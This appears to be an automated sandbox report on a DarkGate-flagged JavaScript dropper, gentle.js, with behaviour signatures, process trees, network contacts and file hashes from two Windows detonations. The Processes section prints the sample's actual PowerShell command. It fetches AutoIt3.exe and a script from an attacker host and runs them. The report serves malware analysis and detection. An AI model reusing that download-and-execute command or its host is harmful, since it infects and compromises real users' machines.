Analysis Overview
SHA256
4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799
Threat Level: Known bad
The file gentle.js was found to be: Known bad.
Malicious Activity Summary
DarkGate
Downloads MZ/PE file
Blocklisted process makes network request
Executes dropped EXE
Checks computer location settings
Enumerates physical storage devices
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-01 21:19
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-01 21:19
Reported
2023-11-01 21:22
Platform
win7-20231025-en
Max time kernel
118s
Max time network
136s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2084 wrote to memory of 2168 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2084 wrote to memory of 2168 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2084 wrote to memory of 2168 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"
Network
Files
memory/2168-4-0x000000001B200000-0x000000001B4E2000-memory.dmp
memory/2168-5-0x0000000002310000-0x0000000002318000-memory.dmp
memory/2168-6-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp
memory/2168-7-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2168-8-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2168-9-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2168-10-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp
memory/2168-11-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2168-12-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-01 21:19
Reported
2023-11-01 21:23
Platform
win10v2004-20231023-en
Max time kernel
139s
Max time network
200s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4040 wrote to memory of 400 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4040 wrote to memory of 400 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 400 wrote to memory of 2696 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 400 wrote to memory of 2696 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 400 wrote to memory of 2696 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" krxeiths.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 126.20.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.254.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | shsukadadyuikmmonk.com | udp |
| US | 82.117.254.52:2351 | shsukadadyuikmmonk.com | tcp |
| US | 8.8.8.8:53 | 52.254.117.82.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 226.145.62.23.in-addr.arpa | udp |
| US | 82.117.254.52:2351 | shsukadadyuikmmonk.com | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 90.65.42.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpwzoobc.s4a.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/400-9-0x00000196D0BB0000-0x00000196D0BD2000-memory.dmp
memory/400-10-0x00007FFB872E0000-0x00007FFB87DA1000-memory.dmp
memory/400-12-0x00000196D0B50000-0x00000196D0B60000-memory.dmp
memory/400-11-0x00000196D0B50000-0x00000196D0B60000-memory.dmp
memory/400-13-0x00000196D0B50000-0x00000196D0B60000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/400-27-0x00007FFB872E0000-0x00007FFB87DA1000-memory.dmp
C:\tepp\krxeiths.au3
| MD5 | 1a145f64835ef788884984eaaabc41cf |
| SHA1 | 86adae24703e4cc02791f5473163d19af9ce5374 |
| SHA256 | e6cb5e76a2cc9b9b60f9f6cdde65478675d03684a1973b673e1663ded9195c4d |
| SHA512 | 97fe04c68eff006a9628d43d71c515d822a129f0930d581ee2d9a3fe5d1fcdde291871946a8df8233ee3614cf392c85a0fe371051cb06343b3e92368ee8354e3 |
memory/2696-30-0x0000000000F30000-0x0000000001330000-memory.dmp
memory/2696-31-0x0000000004080000-0x0000000004215000-memory.dmp
memory/2696-32-0x0000000004080000-0x0000000004215000-memory.dmp